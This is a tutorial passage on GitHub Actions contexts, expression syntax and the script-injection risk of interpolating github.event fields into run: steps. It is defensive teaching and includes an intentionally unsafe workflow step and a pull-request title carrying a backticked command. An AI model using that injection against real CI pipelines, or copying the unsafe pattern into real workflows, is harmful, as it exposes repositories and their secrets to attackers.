Contexts and expressions: the data model, and script injection via github.event

Contexts: where the data lives

Before you can write a reliable workflow condition or understand why an expression silently evaluates to the wrong branch, you need to know exactly where the data comes from and what scope it lives in.

A workflow reads everything it knows from contexts — structured objects available inside ${{ }}:

steps:
  - run: echo "commit ${{ github.sha }} on ${{ github.ref_name }}"
  - run: echo "build for ${{ matrix.os }}"
  - if: ${{ needs.build.result == 'success' }}
    run: ./deploy.sh
    env:
      TOKEN: ${{ secrets.DEPLOY_TOKEN }}

The contexts you reach for daily: github (the event payload, ref, sha, actor, repository), env (workflow/job/step variables), secrets (encrypted values, masked in logs), needs (outputs and result of upstream jobs), matrix (the current matrix combination), steps (outputs of prior steps in the job), runner, job, strategy. Availability is scoped: secrets is not readable in a job-level if; needs only exists once you declare a needs: edge; matrix only exists inside a matrixed job. Reading a context that isn’t available yields an empty string, not an error — which is why a typo’d ${{ secrets.DEPOLY_TOKEN }} silently authenticates as nobody and the deploy fails with a confusing 401 rather than a clear “undefined secret.”

Expressions: operators, functions, and truthiness

Inside ${{ }} you get a small expression language: comparisons (==, !=, <, >), logic (&&, ||, !), and functions — contains(), startsWith(), format(), join(), fromJSON(), toJSON(), hashFiles(), and the status checks success(), failure(), always(), cancelled(). Two senior gotchas dominate:

• &&/|| return operands, not booleans — GitHub borrows the ternary idiom ${{ condition && 'a' || 'b' }} to pick a value, because there is no real ternary. It works only when the “true” operand is itself truthy; ${{ x && '' || 'b' }} always yields 'b'.
• if: has an implicit ${{ }} — you write if: github.ref == 'refs/heads/main' without braces, but the moment you need an expression that starts with ! you must quote or brace it, because YAML reads a leading ! as a tag.

fromJSON() is the power tool: it turns a JSON string into a real object, which is how you build a dynamic matrix — a setup job emits a JSON array as an output, and a downstream job does strategy: { matrix: { include: ${{ fromJSON(needs.setup.outputs.list) }} } }. That converts “decide what to test at runtime” (changed packages, discovered shards) from impossible into one line.

The injection class and its one fix

The Hook’s vulnerability is a whole class: any run: line that interpolates a context an attacker can influence — github.event.*.title, *.body, *.head.ref, commit messages, head_commit.message, review bodies — is a script-injection sink. The fix is mechanical and complete: never put attacker-controlled ${{ }} directly in run:; pass it through env: and reference the environment variable, quoted.

# UNSAFE: title is interpolated into the script the runner builds
- run: echo "title: ${{ github.event.pull_request.title }}"

# SAFE: the value travels as data; the shell sees a variable, not source
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "title: $PR_TITLE"

The first form lets a title of `id` run a command; the second prints the backticks literally. Nothing else changes — same data, different trust boundary.